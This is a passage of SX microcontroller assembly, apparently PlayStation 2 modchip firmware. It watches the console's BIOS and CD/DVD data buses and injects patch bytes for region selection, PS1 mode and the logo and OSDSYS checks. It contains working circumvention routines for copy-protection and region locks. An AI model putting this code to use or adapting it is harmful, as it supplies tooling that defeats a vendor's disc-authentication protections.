IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P10 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P10 ret PS2_MODE_START_V0 ;;; clr fsr ;;jmp Load8skip ;;; skip pvd sb PSX_FLAG jmp BIOS_PATCH_DATA_V0 ;ps2 mode selected , skip mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... page $0200 jmp ALL_CONTIUNE_BIOS_PATCH BIOS_PATCH_DATA_V0 ;CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset ;; 1st patch snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;;;??? loop condition? load36skip mov w,#35;37;$7 ; skip 39 right mov VAR_DC1,w ; nop PVD_V0 ;;todo snb IO_BIOS_OE jmp PVD_V0 nop mov w,#$10 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$a2 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$af ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;; PVD_V01 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$10 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;;;;; PVD_V0_SYNC_L0 sb IO_BIOS_OE jmp PVD_V0_SYNC_L0 PVD_V0_L1 snb IO_BIOS_OE jmp PVD_V0_L1 decsz VAR_DC1 jmp PVD_V0_SYNC_L0 PVD_V0_SYNC_L1 sb IO_BIOS_OE jmp PVD_V0_SYNC_L1 PVD_V0_PATCH1 snb IO_BIOS_OE jmp PVD_V0_PATCH1 mov w,#$08;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$e0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_PVD_V0_PATCH1 sb IO_BIOS_OE jmp END_PVD_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w Load8skip mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_BIOS_OSDSYS ; clr fsr snb IO_BIOS_OE jmp V0_BIOS_OSDSYS nop mov w,#$70 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 mov w,#$0A ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 ;; 70 0a 08 mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0C ;ascii 1 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 ; sb z ;skip next line if doesnt = 0 meaning is 1 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$2D ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$28 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0 ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$02 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; mov w,#15;$7 ; skip 8 ; mov VAR_DC1,w ; nop BIOS_V0_SYNC_L0 sb IO_BIOS_OE jmp BIOS_V0_SYNC_L0 BIOS_V0_L1 snb IO_BIOS_OE jmp BIOS_V0_L1 decsz VAR_DC1 jmp BIOS_V0_SYNC_L0 BIOS_V0_L2 sb IO_BIOS_OE jmp BIOS_V0_L2 BIOS_V0_PATCH1 snb IO_BIOS_OE jmp BIOS_V0_PATCH1 mov w,#$0;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_BIOS_V0_PATCH1 sb IO_BIOS_OE jmp END_BIOS_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0E00 jmp V0_CONSOLE_CDDVD_START ;sleep snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START ; snb V12LOGO_FLAG ; page $0400 ; jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO org $0A00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0A ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0A ret V0_logo snb IO_BIOS_OE jmp V0_logo nop mov w,#$4e ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$12 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo jmp LOGO_V0_DCLOAD ;;;;;;;;;;;;;;;;; call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$ac ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 LOGO_V0_DCLOAD mov w,#2;$7 ; skip 37 right? mov VAR_DC1,w LOGO_V0_PATCH snb IO_BIOS_OE jmp LOGO_V0_PATCH0 LOGO_V0_PATCH0 sb IO_BIOS_OE jmp LOGO_V0_PATCH0 decsz VAR_DC1 jmp LOGO_V0_PATCH ;LOGO_V0_PATCH00 ;snb IO_BIOS_OE ;jmp LOGO_V0_PATCH00 LOGO_V0_PATCH1 snb IO_BIOS_OE jmp LOGO_V0_PATCH1 mov w,#$20;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P0A ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$38 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$11 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$60 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$82 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fb mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$61 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$10 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1a mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$13 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$55 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$5f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fc mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$58 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$30 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$c7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f9 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$42 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$40 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$b2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$8e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A END_LOGO_V0_PATCH1 sb IO_BIOS_OE jmp END_LOGO_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP page $0C00 jmp Load8skip_logo org $0C00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0C ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0C ret Load8skip_logo mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_logofix ; clr fsr snb IO_BIOS_OE 